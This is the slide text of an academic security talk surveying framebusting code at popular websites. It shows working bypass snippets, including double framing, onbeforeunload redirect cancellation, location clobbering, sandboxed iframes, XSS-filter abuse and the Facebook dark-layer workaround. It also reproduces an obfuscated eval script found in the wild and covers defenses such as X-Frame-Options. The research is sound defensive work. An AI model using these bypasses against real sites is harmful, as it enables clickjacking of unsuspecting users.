Framebusting in the Wild
A survey of framebusting code used at popular sites

Gustav Rydstedt, Elie Burzstein, Dan Boneh, Collin Jackson
What is framebusting?
What is framebusting?

- HTML allows for any site to frame any URL with an **IFRAME** (internal frame)

```html
<iframe src="http://www.google.com">
Ignored by most browsers
</iframe>
```
What is framebusting?

- Framebusting are techniques for preventing framing by the framed site.
What is framebusting?

Common framebusting code is made up of:

- a conditional statement
- a counter action

```java
if (top != self) {
    top.location = self.location;
}
```
Why Framebusting?
Primary: Clickjacking
Jeremiah Gross and Robert Hansen, 2008

Picture Credit: Mattias Geniar
Primary: Clickjacking

Demo:

http://www.stanford.edu/~rydstedt/framebusting/demo1.html

http://www.stanford.edu/~rydstedt/framebusting/demo1.html
Primary: Clickjacking

Sign-in Seals
Primary: Clickjacking

A real threat:

Twitter – February 2009
Primary: Clickjacking

A real threat:

Facebook – December 2009
Clickjacking 2.0
(Paul Stone, BHEU ‘10)

Utilizing *drag and drop*:

Grab data off the page
(including source code, form data)

Get data into the page
(forms etc.)

Fingerprint individual objects in the framed page
Secondary

UI-Redressing
Brand stealing
Click-fraud
Phishing

... and probably more
Survey


- Used semi-automated crawler based on HTMLUnit.

- Manual work to trace through obfuscated and packed code.
Obfuscation/Packing

```javascript
<script>
eval(unescape('function%20ppEpEu%28yJVD%29%Bfunction%20xFpIcSbG%
%28MrF%29%7Bvar%20rmO%3DmF.%length%3Bvar%20wxxwIl%3D0%2CowZtrl%3D0%3Bwhi%
le%28wxxwZl%3CrMo%29%7BowZtrl%3DmF.charCodeAt%28wxxwZl%29*rMo%3BwxxwZl
++%3B%7Dreturn%20%28%27%27%27+owZtrl%29%7D%20%20%20try%20%20%7Bvar%20%0dxc%3Dev
al%28%27a%23rPgPu%2CmPe%2Cn%2Ct9sP.9ckaPl%2C1Pe9e9%27.replace%28/%5B9%23
k%2CP%5D/g%2C%20%27%27%29%29%2CgIXc%3Dnew%20String%28%29%29%2CsoLeu%3D0%3B
qcNz%3D0%2CnI%3D%28new%20String%28%0dxc%29%29.replace%28/%5B5%2E0%e-z0-%9%2
Z_.%2C-%5D/g%2C%20%27%27%29%3Bvar%20god%3DxPcSbG%28nuI%29%3ByJVD%3Dunesc
ap%28yJVD%29%3Bfor%28var%20eILXTs%3D0%3B%20eILXTs%20%3C%20%28yJVD.%len	
h%29%3B%20eILXTs%2B%29%7Bvar%20esof%3DyJVD.charCodeAt%28eILXTs%29%3Bvar%2
0nzoexMG%3DnuI.charCodeAt%28soLeu%29%5Exgod.charCodeAt%28qNz%29%3BoLeu
++%3BqNz%3B%3Bif%28soLeu%3EnuI.length%29%3BsoLeu%3D0%3B%28qNz%3Exgod
.length%29%3D%3D0%3BqIXc%3Dnew%20String.fromCharCode%28esof%3EnuexMG%29%3B
7Deval%28gIXc%29%3D2return%20gIXc%3Dnew%20String%28%29%3B7dcatch%28e
%29%7D%7DppEpEu%28%27%2532%2537%2534%2531%2535%2533%2531%2530%2550%250
8%2518%2537%255c%25569%2531%2506%255d%250e%2535%2536%2574%2522%2533%2535
2%252a%2531%250c%250d%2537%253d%2572%255b%2571%250d%252d%2513%2500%2529%25
</script>
```
## Survey

<table>
<thead>
<tr>
<th>Sites</th>
<th>Framebusting</th>
</tr>
</thead>
<tbody>
<tr>
<td>Top 10</td>
<td>60%</td>
</tr>
<tr>
<td>Top 100</td>
<td>37%</td>
</tr>
<tr>
<td>Top 500</td>
<td>14%</td>
</tr>
</tbody>
</table>
### Conditional Statements

<table>
<thead>
<tr>
<th>Condition</th>
</tr>
</thead>
<tbody>
<tr>
<td>if (top !== self)</td>
</tr>
<tr>
<td>if (top.location !== self.location)</td>
</tr>
<tr>
<td>if (top.location !== location)</td>
</tr>
<tr>
<td>if (parent.frames.length &gt; 0)</td>
</tr>
<tr>
<td>if (window !== top)</td>
</tr>
<tr>
<td>if (window.top !== window.self)</td>
</tr>
<tr>
<td>if (window.self !== window.top)</td>
</tr>
<tr>
<td>if (parent &amp;&amp; parent !== window)</td>
</tr>
<tr>
<td>if (parent &amp;&amp; parent.frames &amp;&amp; parent.frames.length&gt;0)</td>
</tr>
<tr>
<td>if ((self.parent &amp;&amp; !(self.parent===self)) &amp;&amp; (self.parent.frames.length!=0))</td>
</tr>
<tr>
<td>Counter-Action Statements</td>
</tr>
<tr>
<td>---------------------------</td>
</tr>
<tr>
<td>top.location = self.location</td>
</tr>
<tr>
<td>top.location.href = document.location.href</td>
</tr>
<tr>
<td>top.location.href = self.location.href</td>
</tr>
<tr>
<td>top.location.replace(self.location)</td>
</tr>
<tr>
<td>top.location.href = window.location.href</td>
</tr>
<tr>
<td>top.location.replace(document.location)</td>
</tr>
<tr>
<td>top.location.href = window.location.href</td>
</tr>
<tr>
<td>top.location.href = &quot;URL&quot;</td>
</tr>
<tr>
<td>document.write('')</td>
</tr>
<tr>
<td>top.location = location</td>
</tr>
<tr>
<td>top.location.replace(document.location)</td>
</tr>
<tr>
<td>top.location.replace('URL')</td>
</tr>
<tr>
<td>top.location.href = document.location</td>
</tr>
<tr>
<td>top.location.replace(window.location.href)</td>
</tr>
<tr>
<td>top.location.href = location.href</td>
</tr>
<tr>
<td>self.parent.location = document.location</td>
</tr>
<tr>
<td>parent.location.href = self.document.location</td>
</tr>
<tr>
<td>top.location.href = self.location</td>
</tr>
<tr>
<td>top.location = window.location</td>
</tr>
<tr>
<td>top.location.replace(window.location.pathname)</td>
</tr>
<tr>
<td>window.top.location = window.self.location</td>
</tr>
<tr>
<td>setTimeout(function(){document.body.innerHTML='';},1);</td>
</tr>
<tr>
<td>window.self.onload = function(evt){document.body.innerHTML='';}</td>
</tr>
<tr>
<td>var url = window.location.href; top.location.replace(url)</td>
</tr>
</tbody>
</table>
All sites surveyed can be broken in several ways on several different browsers
Let’s start!

**Easy** – 1 Point

**Intermediate** – 2 Points

**Hard** – 3 Points
if (top.location !== location) {
    if (document.referrer &&
        document.referrer.indexOf("walmart.com") === -1) {
        top.location.replace(document.location.href);
    }
}
Error in Referrer Checking

<iframe src="http://www.walmart.com">
Limit use of indexOf()...
if (window.self != window.top &&
    !document.referrer.match(
        /https?:\/\/[\^?\/]+\./nytimes\./com\//))
{
    self.location = top.location;
}
Error in Referrer Checking

<iframe src="http://www.nytimes.com">
Anchor your regular expressions.
if (self != top) {
    var domain = getDomain(document.referrer);
    var okDomains = /usbank | localhost | usbnet/;
    var matchDomain = domain.search(okDomains);

    if (matchDomain == -1) {
        //frame bust
    }
}
Error in Referrer Checking

Don’t make your regular expressions too lax.
Strategic Relationship?

Norweigan State House Bank

http://www.husbanken.no
Strategic Relationship?

Bank of Moscow

http://www.rusbank.org
try{
    A=!top.location.href
}catch(B){}

A=A&&
!(document.referrer.match(/^(https?:\/\/)\[-az09.]*\.google\.(co\.|com\.)? [a-z] +/imgres/i))&&
!(document.referrer.match(/^(https?:\/\/)\([^/\]*\.)? (myspace\.|com\.|myspace\.cn|simsidekick\.|com\.|levisawards\.|com\.|digg\.|com)\//i));

if(A){ //Framebust }
The people you trust might not framebust.

Google Images does not framebust.
Referrer = Dangerous Stuff

Many attacks on referrer: washing/changing

Open redirect referrer changer

HTTPS->HTTP washing

Hard to get regular expression right

Friends cannot be trusted
Facebook Dark Layer
Facebook deploys an exotic variant:

```javascript
if (top != self) {
    try {
        if (top.location.hostname.indexOf("apps") >= 0) throw 1;
    } catch (e) {
        window.document.write("<div style="
            background: black;
            opacity: 0.5; filter: alpha(opacity = 50);
            position: absolute; top: 0px; left: 0px;
            width: 9999px; height: 9999px;
            z-index: 1000001"
            onClick='top.location.href=window.location.href'>
            </div>"");
    }
}
```
Facebook – Ray of Light!

All Facebook content is centered! We can push the content into the ray of light outside of the div.

<iframe width="21800px" height="2500px" src ="http://facebook.com">
<script>
window.scrollTo(10200, 0 ) ;
</script>
Facebook – Ray of Light!
Let's move on to some generic attacks!
if (top.location != self.location) {
    parent.location = self.location;
}

HARD
Double Framing!

• When enclosed in one frame, this is not a problem.
• But when enclosed in two frames, parent.location = self.location; becomes a security violation

```
framed1.html
<iframe src="framed2.html">
```
```
framed2.html
<iframe src="victim.com">
```

• Welcome in “descendant policy”…
Double Framing!
Descendent Policy

- Introduced in *Securing frame communication in browsers.*
  (Adam Barth, Collin Jackson, and John Mitchell. 2009)

  Descendant Policy
  
  A frame can navigate only it’s decedents.

  **Deployed in all major browsers.**

- `top.location = self.location` is always okay.

- Direct frame relocation `parent.location = self.location` is not okay when `parent` is not `top`. 
Location Clobbering

```javascript
if (top.location != self.location) {
    self.location = top.location;
}
```

If `top.location` can be changed or disabled this code is **useless**.

But our *trusted* browser would never let such atrocities happen... **right?**
Location Clobbering

IE 7:

```javascript
var location = "clobbered";
```

Safari:

```javascript
window.__defineSetter__('location', function(){
    top.location is now undefined. 😞
});
```
Asking Nicely

• User can manually cancel any redirection attempt made by framebusting code.

• Attacker just needs to ask...

```html
<script>
    window.onbeforeunload = function() {
        return "Do you want to leave PayPal?";
    }
</script>
<iframe src="http://www.paypal.com"/>
```
Asking Nicely
Not Asking Nicely

- Actually, we don’t have to ask nicely at all. Most browser allows to cancel the relocation “programmatically”.

```javascript
var prevent_bust = 0
window.onbeforeunload = function() {kill_bust++ } 
setInterval(function() {
    if (kill_bust > 0) {
        kill_bust -= 2;
        window.top.location = 'http://no-content-204.com'
    }
}, 1);
<iframe src="http://www.victim.com">
```
IE Restricted Zone

• Internet Explorer introduced the idea of zones.

<iframe security="restricted" src="http://www.victim.com">

... will disable javascript and cookies in the framed page. Any attempt at JS framebusting will be futile.

However, since cookies are disabled, many attacks are less effective (no session).
HTML5 Sandbox attribute

- Unfortunately, HTML5 sandbox attribute disables JS, but leaves cookies alone:

```html
<iframe sandbox src="http://www.victim.com">
</iframe>
```

Implemented in Chrome
.designMode = "on"

Paul Stone BHEU '10

Disables JavaScript for "editing purposes"

Still got them cookies!
Reflective XSS filters

• Internet Explorer 8 introduced reflective XSS filters:

http://www.victim.com?var=<script> alert(‘xss’)

If <script> alert(‘xss’); appears in the rendered page, the filter will replace it with <script> alert(‘xss’)

Reflective XSS filters

1. It’s broken and easy to circumvent.
2. Can be used to target framebusting
   (Eduardo Vela ’09)

Original
<script> if (top.location != self.location) //framebust </script>

Request > http://www.victim.com?var=<script> if (top

Rendered
<script> if (top.location != self.location)

Now Chrome’s XSS Auditor has the same problem.
Is there any hope?

Not really...
well, sort of...
X-Frames-Options (IE8)

- HTTP header sent on responses
- Two possible values: DENY and SAMEORIGIN
- On DENY, IE will not render in framed context.
- On SAMEORIGIN, IE will only render if top frame is same origin as page giving directive.
X-Frames-Options

• Good adoption by browsers (all but Firefox, coming in 3.7)

• Poor adoption by sites (4 out of top 10,000, survey by sans.org)

• Some limitations: per-page policy and no whitelisting.
Content Security Policy (FF)

• Also a HTTP-Header.

• Allows the site to specific restrictions/abilities.

• The `frame-ancestors` directive can specify allowed framers.

• Still in beta, coming in Firefox 3.7
Best for now
(but still not good)

```html
<style>html { visibility: hidden }</style>
<script>
if (self == top) {
    document.documentElement.style.visibility = 'visible';
} else {
    top.location = self.location;
}
</script>

If Javascript is disabled, page won’t render. Might want to deal with NoScript users in some effective way.
... a little bit more.

These sites (among others) do framebusting...
... a little bit more.

... but do these?
No, they generally don’t…

<table>
<thead>
<tr>
<th>Site</th>
<th>URL</th>
<th>Framebusting</th>
</tr>
</thead>
<tbody>
<tr>
<td>Facebook</td>
<td><a href="http://m.facebook.com/">http://m.facebook.com/</a></td>
<td>YES</td>
</tr>
<tr>
<td>MSN</td>
<td><a href="http://home.mobile.msn.com/">http://home.mobile.msn.com/</a></td>
<td>NO</td>
</tr>
<tr>
<td>GMail</td>
<td><a href="http://m.gmail.com">http://m.gmail.com</a></td>
<td>NO</td>
</tr>
<tr>
<td>Baidu</td>
<td><a href="http://m.baidu.com">http://m.baidu.com</a></td>
<td>NO</td>
</tr>
<tr>
<td>Twitter</td>
<td><a href="http://mobile.twitter.com">http://mobile.twitter.com</a></td>
<td>NO</td>
</tr>
<tr>
<td>MegaVideo</td>
<td><a href="http://mobile.megavideo.com/">http://mobile.megavideo.com/</a></td>
<td>NO</td>
</tr>
<tr>
<td>Tube8</td>
<td><a href="http://m.tube8.com">http://m.tube8.com</a></td>
<td>NO</td>
</tr>
<tr>
<td>PayPal</td>
<td><a href="http://mobile.paypal.com">http://mobile.paypal.com</a></td>
<td>NO</td>
</tr>
<tr>
<td>USBank</td>
<td><a href="http://mobile.usbank.com">http://mobile.usbank.com</a></td>
<td>NO</td>
</tr>
<tr>
<td>First Interstate Bank</td>
<td><a href="http://firstinterstate.mobi">http://firstinterstate.mobi</a></td>
<td>NO</td>
</tr>
<tr>
<td>NewEgg</td>
<td><a href="http://m.newegg.com/">http://m.newegg.com/</a></td>
<td>NO</td>
</tr>
<tr>
<td>MetaCafe</td>
<td><a href="http://m.metacafe.com/">http://m.metacafe.com/</a></td>
<td>NO</td>
</tr>
<tr>
<td>RenRen</td>
<td><a href="http://m.renren.com/">http://m.renren.com/</a></td>
<td>NO</td>
</tr>
<tr>
<td>MySpace</td>
<td><a href="http://m.myspace.com/">http://m.myspace.com/</a></td>
<td>NO</td>
</tr>
<tr>
<td>VKontakte</td>
<td><a href="http://pda.vkontakte.ru/">http://pda.vkontakte.ru/</a></td>
<td>NO</td>
</tr>
<tr>
<td>WellsFargo</td>
<td><a href="https://www.wf.com/">https://www.wf.com/</a></td>
<td>NO</td>
</tr>
<tr>
<td>NyTimes</td>
<td><a href="http://m.nytimes.com/">http://m.nytimes.com/</a></td>
<td>Redirect</td>
</tr>
<tr>
<td>E-Zine Articles</td>
<td><a href="http://m.ezinearticles.com">http://m.ezinearticles.com</a></td>
<td>Redirect</td>
</tr>
</tbody>
</table>
New Attack?

- E-Zine Articles and NY-Times do by-user-agent rendering. Won’t render in regular browser.
- But have no framebusting code..
New Attack?

• E-Zine Articles and NY-Times do by-user-agent rendering. Won’t render in regular browser.
• But have no framebusting code..

TapJacking!
Summary

• All framebusting code out there can be broken across browsers in several different ways
• Defenses are on the way, but not yet widely adopted
• Relying on referrer is difficult
• If JS is disabled, don’t render the page.
• Framebust your mobile sites!
Questions?